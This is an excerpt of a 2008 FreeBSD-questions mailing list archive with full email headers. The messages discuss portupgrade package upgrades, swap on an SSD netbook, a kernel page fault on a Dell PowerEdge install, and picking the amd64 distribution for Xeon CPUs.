Gnus/5.11 (Gnus v5.11) Emacs/22.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Beech Rintoul , freebsd-questions@freebsd.org, Javier Vasquez , andrew clarke Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:03:48 -0000 Mel writes: > On Tuesday 02 December 2008 17:13:58 andrew clarke wrote: >> On Tue 2008-12-02 09:28:44 UTC+0100, Mel > (fbsd.questions@rachie.is-a-geek.net) wrote: >> > Portupgrade -PP is detrimental for bandwidth. It's not really >> > portupgrade's fault (well, partially, it shouldn't offer the feature), >> > because it will quite often download Latest/foo.tbz, unpack it entirely >> > and then say "oops, I downloaded this useless package which is older or >> > equal to what you have installed". >> >> Yes, this happens. -PP is not ideal for regular updates but it's >> still useful for when you have a new FreeBSD install with no packages >> installed, and want to get up and running quickly, grabbing the most >> recent binaries of all your favourite ports instead of building them >> all from source. > > That's infinitely slower than pkg_add -r . Don't use "portupgrade -NPP ". ;-) But "portupgrade -PP " really *upgrades* packages. WBR -- Boris Samorodov (bsam) Research Engineer, http://www.ipt.ru Telephone & Internet SP FreeBSD committer, http://www.FreeBSD.org The Power To Serve From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:04:32 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F3D01106564A for ; Tue, 2 Dec 2008 18:04:31 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 698FB8FC08 for ; Tue, 2 Dec 2008 18:04:29 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2I4LVo016095; Tue, 2 Dec 2008 19:04:21 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2I4Kt0016092; Tue, 2 Dec 2008 19:04:21 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 19:04:20 +0100 (CET) From: Wojciech Puchar To: Dan In-Reply-To: <20081202170805.GA20420@ourbrains.org> Message-ID: <20081202190351.Q16084@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:04:32 -0000 > > It's already usable on DragonFly. DragonFLY itself is stable, but only > supports one CPUIt probably will never be ported to FreeBSD due to > API differences. time to wait and see if they will really make dragonfly faster than FreeBSD (it's their goal)... From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:05:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58380106564A for ; Tue, 2 Dec 2008 18:05:34 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 766DA8FC1E for ; Tue, 2 Dec 2008 18:05:31 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2I5NdC016102; Tue, 2 Dec 2008 19:05:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2I5MHk016099; Tue, 2 Dec 2008 19:05:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 19:05:22 +0100 (CET) From: Wojciech Puchar To: "Anthony M. Rasat" In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081202190428.M16084@wojtek.tensor.gdynia.pl> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:05:34 -0000 > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with GNOME and other desktop thingy (testing out of curiousity). > > Question is, swap or no swap? Remember, this is SSD, it is reasonable to have no swap. However, what if I wanted OpenOffice? This beast is memory hog AFAIK. Thanks for opinions. without gnome openoffice starts without problems on 256MB RAM without storage. no - don't use swap on SSD. simply remove unneeded bloat (gnome/kde etc) and 512MB will be more than plenty From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:06:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 50C9D1065688 for ; Tue, 2 Dec 2008 18:06:04 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id DBFA18FC1D for ; Tue, 2 Dec 2008 18:06:02 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2I5svZ016113; Tue, 2 Dec 2008 19:05:54 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2I5sQt016110; Tue, 2 Dec 2008 19:05:54 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 19:05:54 +0100 (CET) From: Wojciech Puchar To: Mikel King In-Reply-To: <990F83AE-AA60-454A-A456-7D91C0BE6D6A@olivent.com> Message-ID: <20081202190536.G16084@wojtek.tensor.gdynia.pl> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <990F83AE-AA60-454A-A456-7D91C0BE6D6A@olivent.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: anthony.rasat@gmail.com, freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:06:04 -0000 > > Anthony, > > SSD or no, I feel that you should treat it as you would any other hard disks doesn't wear on writes. SSD do From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:13:16 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C573C1065670 for ; Tue, 2 Dec 2008 18:13:16 +0000 (UTC) (envelope-from cboyd@gizmopartners.com) Received: from mailsafe.midasnetworks.com (mailsafe.midasnetworks.com [216.110.12.7]) by mx1.freebsd.org (Postfix) with ESMTP id 7EBB08FC13 for ; Tue, 2 Dec 2008 18:13:16 +0000 (UTC) (envelope-from cboyd@gizmopartners.com) Received: from [10.10.10.175] (sunfish.midasnetworks.com [208.81.240.41]) (authenticated bits=0) by mailsafe.midasnetworks.com (8.14.2/8.14.1) with ESMTP id mB2Hvmai066974 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 2 Dec 2008 11:57:48 -0600 (CST) (envelope-from cboyd@gizmopartners.com) Message-Id: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> From: Chris Boyd To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v929.2) Date: Tue, 2 Dec 2008 11:57:48 -0600 X-Mailer: Apple Mail (2.929.2) Subject: Installation on a Dell Poweredge R805 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:13:16 -0000 I'm having an issue installing FreeBSD 7 AMD64 on a Dell Poweredge R805. The system starts to boot, throws several mpt_cam_event 0x12 and 0x16 errors, presents the boot menu, and then crashes with a "Fatal trap 12: page fault while in kernel mode" and then wants to reboot. This is a dual CPU, quad core Opteron 2352 system with 8GB RAM and dual SAS on a PERC6 controller. I've tried various memory and BIOS settings to see if I can get it to boot, but it either does the bits describe above, or hangs hard. Any and all suggestions appreciated. --Chris From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:19:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A57801065672 for ; Tue, 2 Dec 2008 18:19:34 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id E443D8FC12 for ; Tue, 2 Dec 2008 18:19:33 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from happy-idiot-talk.infracaninophile.co.uk (localhost [IPv6:::1]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id mB2IHHm7073063; Tue, 2 Dec 2008 18:17:17 GMT (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.7.2 smtp.infracaninophile.co.uk mB2IHHm7073063 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1228241837; bh=HNaJ5quecVhBCO SCTLF4Dtxh+eJ7D9QCdEV6iLbRilI=; h=Message-ID:Date:From:MIME-Version: To:CC:Subject:References:In-Reply-To:Content-Type:Cc:Content-Type: Date:From:In-Reply-To:Message-ID:Mime-Version:References:To; z=Mes sage-ID:=20<49357BAC.3010602@infracaninophile.co.uk>|Date:=20Tue,=2 002=20Dec=202008=2018:17:16=20+0000|From:=20Matthew=20Seaman=20|Organization:=20Infracaninophile|User -Agent:=20Thunderbird=202.0.0.18=20(X11/20081125)|MIME-Version:=201 .0|To:=20Pieter=20Donche=20|CC:=20Ebbe=20Hj orth=20,=20freebsd-questions@freebsd.org|Sub ject:=20Re:=20FreeBSD=207.0:=20which=20distribution|References:=20< Pine.GSO.4.63.0812021323380.8329@hmacs.cmi.ua.ac.be>=09<1bd820d8081 2020437h5bd7266co67c566b386b8873e@mail.gmail.com>=20|In-Reply-To:=20|X-Enigmail-Version:=200.95 .6|Content-Type:=20multipart/signed=3B=20micalg=3Dpgp-sha256=3B=0D= 0A=20protocol=3D"application/pgp-signature"=3B=0D=0A=20boundary=3D" ------------enigF3040795F6974FC8A69D0440"; b=zHSLMeSGjknWXJcQtYfuOi lCw7hIPfE8BywN6M/i1Tb0Ej18KlV7zkfaMI8nyhBrN6VhvUPw1ZV9p1WcRwr8tCfHU s11Ks28UO5KMXTgqxqbOP6H5iMEdY9jyIB1VziHeA2RxWYa6sZzQaPHmBvgjpvsT+0G UuYkn7uYjtDcjP4= Message-ID: <49357BAC.3010602@infracaninophile.co.uk> Date: Tue, 02 Dec 2008 18:17:16 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: Pieter Donche References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> In-Reply-To: X-Enigmail-Version: 0.95.6 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="------------enigF3040795F6974FC8A69D0440" X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0.1 (smtp.infracaninophile.co.uk [IPv6:::1]); Tue, 02 Dec 2008 18:17:17 +0000 (GMT) X-Virus-Scanned: ClamAV 0.94.2/8712/Tue Dec 2 17:14:43 2008 on happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.9 required=5.0 tests=AWL,BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,NO_RELAYS autolearn=unavailable version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: Ebbe Hjorth , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:19:34 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigF3040795F6974FC8A69D0440 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Pieter Donche wrote: > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: >=20 >> Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2= > There nothing about Intel XEON ?? No -- ia64 is the Itanium chip. Use amd64 for Xeons -- it covers all rec= ent multi-core Intel chips as well as the AMD 64bit processors. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW --------------enigF3040795F6974FC8A69D0440 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREIAAYFAkk1e60ACgkQ8Mjk52CukIwj1QCfRqQ0zAtLEvCgx/idrTq0OkQz ngUAn33rHzecfjO6PNv8TibPUFzgjt8z =DCx5 -----END PGP SIGNATURE----- --------------enigF3040795F6974FC8A69D0440-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:19:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EC5961065679 for ; Tue, 2 Dec 2008 18:19:34 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 562EB8FC13 for ; Tue, 2 Dec 2008 18:19:34 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from happy-idiot-talk.infracaninophile.co.uk (localhost [IPv6:::1]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id mB2IFUxm071708; Tue, 2 Dec 2008 18:15:40 GMT (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.7.2 smtp.infracaninophile.co.uk mB2IFUxm071708 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1228241740; bh=7+Nk2uXHGFqu+N aX8qOKlHLsD8dnA4sAE/M+xJny+Jc=; h=Message-ID:Date:From:MIME-Version: To:CC:Subject:References:In-Reply-To:Content-Type:Cc:Content-Type: Date:From:In-Reply-To:Message-ID:Mime-Version:References:To; z=Mes sage-ID:=20<49357B3D.6070501@infracaninophile.co.uk>|Date:=20Tue,=2 002=20Dec=202008=2018:15:25=20+0000|From:=20Matthew=20Seaman=20|Organization:=20Infracaninophile|User -Agent:=20Thunderbird=202.0.0.18=20(X11/20081125)|MIME-Version:=201 .0|To:=20Pieter=20Donche=20|CC:=20Ebbe=20Hj orth=20,=20freebsd-questions@freebsd.org|Sub ject:=20Re:=20FreeBSD=207.0:=20which=20distribution|References:=20< Pine.GSO.4.63.0812021323380.8329@hmacs.cmi.ua.ac.be>=09<1bd820d8081 2020437h5bd7266co67c566b386b8873e@mail.gmail.com>=20|In-Reply-To:=20|X-Enigmail-Version:=200.95 .6|Content-Type:=20multipart/signed=3B=20micalg=3Dpgp-sha256=3B=0D= 0A=20protocol=3D"application/pgp-signature"=3B=0D=0A=20boundary=3D" ------------enig5F6334A823E0E50E7C31D792"; b=Py6OJmvGgM/5pVBP56+kht TAQONHxuJXfKOExigY666vG6Qmx/MIY28gZhmAYzuHqZuL9hK/9r6hP0T/5CNn23BdO bDBWoEzeJyUECjoNDMJBor3Pko8pZHdZg+u8NK/K5cmtqEGEM0jqyRTh/YgWCW8FW0+ QkH54PZeE6JVEDM= Message-ID: <49357B3D.6070501@infracaninophile.co.uk> Date: Tue, 02 Dec 2008 18:15:25 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: Pieter Donche References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> In-Reply-To: X-Enigmail-Version: 0.95.6 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="------------enig5F6334A823E0E50E7C31D792" X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0.1 (smtp.infracaninophile.co.uk [IPv6:::1]); Tue, 02 Dec 2008 18:15:40 +0000 (GMT) X-Virus-Scanned: ClamAV 0.94.2/8712/Tue Dec 2 17:14:43 2008 on happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.9 required=5.0 tests=AWL,BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,NO_RELAYS autolearn=unavailable version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: Ebbe Hjorth , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:19:35 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig5F6334A823E0E50E7C31D792 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Pieter Donche wrote: > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: >=20 >> Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2= > There nothing about Intel XEON ?? No -- ia64 is the Itanium chip. Use amd64 for Xeons -- it covers all rec= ent multi-core Intel chips as well as the AMD 64bit processors. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW --------------enig5F6334A823E0E50E7C31D792 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREIAAYFAkk1e0IACgkQ8Mjk52CukIxCqgCfb3jUAa2uImp1oQuUN+p3J4JW i7cAn3gyfYiGDmafiIABfOXpJrIHVRLK =60fB -----END PGP SIGNATURE----- --------------enig5F6334A823E0E50E7C31D792-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:20:16 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7409A1065679 for ; Tue, 2 Dec 2008 18:20:16 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id D228D8FC23 for ; Tue, 2 Dec 2008 18:20:15 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from happy-idiot-talk.infracaninophile.co.uk (localhost [IPv6:::1]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id mB2IJbWC081947; Tue, 2 Dec 2008 18:19:42 GMT (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.7.2 smtp.infracaninophile.co.uk mB2IJbWC081947 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1228241983; bh=itluKZB7VZIFFE Kfm0JjEbbzHPHAdJgxge1Oo4ERbvk=; h=Message-ID:Date:From:MIME-Version: To:CC:Subject:References:In-Reply-To:Content-Type:Cc:Content-Type: Date:From:In-Reply-To:Message-ID:Mime-Version:References:To; z=Mes sage-ID:=20<49357C39.5010107@infracaninophile.co.uk>|Date:=20Tue,=2 002=20Dec=202008=2018:19:37=20+0000|From:=20Matthew=20Seaman=20|Organization:=20Infracaninophile|User -Agent:=20Thunderbird=202.0.0.18=20(X11/20081125)|MIME-Version:=201 .0|To:=20Pieter=20Donche=20|CC:=20Ebbe=20Hj orth=20,=20freebsd-questions@freebsd.org|Sub ject:=20Re:=20FreeBSD=207.0:=20which=20distribution|References:=20< Pine.GSO.4.63.0812021323380.8329@hmacs.cmi.ua.ac.be>=09<1bd820d8081 2020437h5bd7266co67c566b386b8873e@mail.gmail.com>=20|In-Reply-To:=20|X-Enigmail-Version:=200.95 .6|Content-Type:=20multipart/signed=3B=20micalg=3Dpgp-sha256=3B=0D= 0A=20protocol=3D"application/pgp-signature"=3B=0D=0A=20boundary=3D" ------------enig0F75154DDBAF073D58179341"; b=2yZ2IXaXuqAJAPVwMDBQiY ihMpRh9n7q6I1wAne3UK+44+eqxCvPD2wRYzksaj3ok7+UcrV066nYzwfd1lC8hmLAz g+kEW4O+zK2IX2QILLe+IqvUDFIijh1vHOhRpy77rcPW3j2/tIUQ4UVokLnHh4yi1/Q /+N9QuADXVNE+QM= Message-ID: <49357C39.5010107@infracaninophile.co.uk> Date: Tue, 02 Dec 2008 18:19:37 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: Pieter Donche References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> In-Reply-To: X-Enigmail-Version: 0.95.6 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="------------enig0F75154DDBAF073D58179341" X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0.1 (smtp.infracaninophile.co.uk [IPv6:::1]); Tue, 02 Dec 2008 18:19:43 +0000 (GMT) X-Virus-Scanned: ClamAV 0.94.2/8712/Tue Dec 2 17:14:43 2008 on happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.8 required=5.0 tests=AWL,BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,NO_RELAYS autolearn=unavailable version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: Ebbe Hjorth , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:20:16 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig0F75154DDBAF073D58179341 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Pieter Donche wrote: > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: >=20 >> Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2= > There nothing about Intel XEON ?? No -- ia64 is the Itanium chip. Use amd64 for Xeons -- it covers all rec= ent multi-core Intel chips as well as the AMD 64bit processors. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW --------------enig0F75154DDBAF073D58179341 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREIAAYFAkk1fDkACgkQ8Mjk52CukIyyOACghr5iR0JwkoQjJaoghT18aJJS FU4AnA/4h02gRpEM/a3Qtp03pvlJGs1i =ZAMi -----END PGP SIGNATURE----- --------------enig0F75154DDBAF073D58179341-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:30:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 045461065675 for ; Tue, 2 Dec 2008 18:30:51 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id B6B298FC16 for ; Tue, 2 Dec 2008 18:30:50 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2IPtvn090725; Tue, 2 Dec 2008 13:25:55 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2IPtBd090724; Tue, 2 Dec 2008 13:25:55 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 13:25:55 -0500 From: Jerry McAllister To: "Anthony M. Rasat" Message-ID: <20081202182554.GA90678@gizmo.acns.msu.edu> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:30:51 -0000 On Tue, Dec 02, 2008 at 04:56:52PM +0000, Anthony M. Rasat wrote: > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with GNOME > and other desktop thingy (testing out of curiousity). > > Question is, swap or no swap? Remember, this is SSD, it is reasonable > to have no swap. However, what if I wanted OpenOffice? This beast is > memory hog AFAIK. Thanks for opinions. First, please break your lines at around 70 characters. It makes it much easier to read and to respond. Yes, have some swap. The system uses this space for more than swapping out processes. It uses it for paging and for crash dumping. The rule of thumb is 2.2 times memory size. ////jerry > > -- > > Regards, > > Anthony M. Rasat > Manager - Technical, Network and Support Division > PT. Jawa Pos National Network > Graha Pena Jawa Pos Group Building, 5th floor > Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 > Indonesia.- > Phone 